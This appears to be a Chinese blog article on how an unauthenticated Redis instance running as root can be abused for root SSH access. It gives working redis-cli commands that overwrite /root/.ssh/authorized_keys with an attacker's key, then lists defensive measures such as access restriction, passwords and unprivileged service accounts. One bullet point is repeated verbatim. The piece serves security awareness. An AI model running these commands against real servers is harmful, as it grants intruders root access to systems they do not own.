Redis由于自身的高性能、服务稳定和易用等特性,成为了目前最流行的KV缓存服务之一,但其安全性也不容忽视。这里主要介绍通过Redis访问端口入侵到Redis服务所在的服务器并提升用户权限。这可能带来如下危害:

  • 服务器文件可能被改写,从而实现远程代码执行。
  • 改写登录验证文件,实现服务器远程登录。
  • 可以提升普通用户的权限,实现更大程度的服务器入侵。

在最后,会简单介绍一下这些的实现思路和防范措施。

从Redis突破root用户免密登录

这里假设Redis是以root运行的服务,服务器IP为192.168.1.12,并且root用户已经成功做过ssh免密码登录了,因为我们这里要通过Redis改写ssh免密码登录时保存的公钥文件authorized_keys,通过改写这个文件,把我们需要登录用到的公钥写入到这文件,从而使ssh通过root登录验证。而通常ssh服务端要检测authorized_keys文件是否是600权限,只有这样才允许ssh免密码登录,当然我们也可以手动修改这文件为600权限,完成这个实验。

我们在任何一台可以访问到此Redis服务器的机器或本机上,访问Redis服务,并利用Redis写入ssh登录公钥到/root/.ssh/authorized_keys,从而实现root用户ssh免密码登录。具体可以如下:

$ redis-cli -h 192.168.1.12 -p 6379 config set dir /root/.ssh
$ redis-cli -h 192.168.1.12 -p 6379 config set dbfilename "authorized_keys"
$ echo -e "\n\n$(cat ~/.ssh/id_rsa.pub)\n" | redis-cli -h 192.168.1.12 -p 6379 -x set ssh-key

完成后,可以测试一下:

$ ssh root@192.168.1.12

如果可以顺利登录到服务器,说明就已经入侵成功了。

如果不成功,说明操作有问题,请检查一下是否有步骤不对。

引申一下

在一开始公司开发群里讨论这问题时,有些同学简单认为,只要禁止Redis端口外部机器访问就可以防止入侵了。我这里想说,这个观点是不完全对的。 下面我们举个例子:

  • 一般公司的服务器都是以集群的形式存在的,还有生产环境、开发环境、测试环境和压测环境等不同的环境,只要有一台服务器或内网的办公环境网络被攻破,都可能被攻击者顺藤摸瓜地把内网服务器逐个击破。
  • 即使外部不被击破,那也防止不了内网的入侵,一些内部人员可以利用内部网络可访问Redis服务的便利,进而提升一些普通帐号的权限,进而把一些敏感的信息泄露出去。
  • 即使外部不被击破,那也防止不了内网的入侵,一些内部人员可以利用内部网络可访问Redis服务的便利,进而提升一些普通帐号的权限,进而把一些敏感的信息泄露出去。
  • 即使不能提升为root管理员权限,利用redis可以随意写入文件也是非常可怕的,如redis服务和Web应用部署在一起,可以通过写入特殊代码到Web应用,实现远程的代码执行,这样服务器基本也就没有秘密可言了。

如何防范?

针对以上的这些风险,我们可以做出一些相应的措施防范:

  • Redis服务的访问权限要收拢,尽量禁止外部访问,禁止不同集群可以跨域访问。
  • Redis服务以nobody启动或单独以不能登录的redis用户启动,且除了对Redis自身的数据库目录和日志目录有读写权限,其它目录没有任何读写权限。
  • Redis服务尽量使用有密码验证的访问模式,即使端口被暴露了,也还有密码一层拦截。
  • 线上尽量不要使用ssh免密码登录的模式,这种登录方式修改服务器密码仍然可登录,很容易成为安全维护的盲区。即使要使用,也不能使用在系统权限太大帐号上,应登录到一个只读帐号上,再切换到有相应权限的可写帐号操作。
  • 禁用root帐号,无论是ssh远程登录还是日常维护,都不建议使用root帐号进行,权限越大,风险越高。

参考来源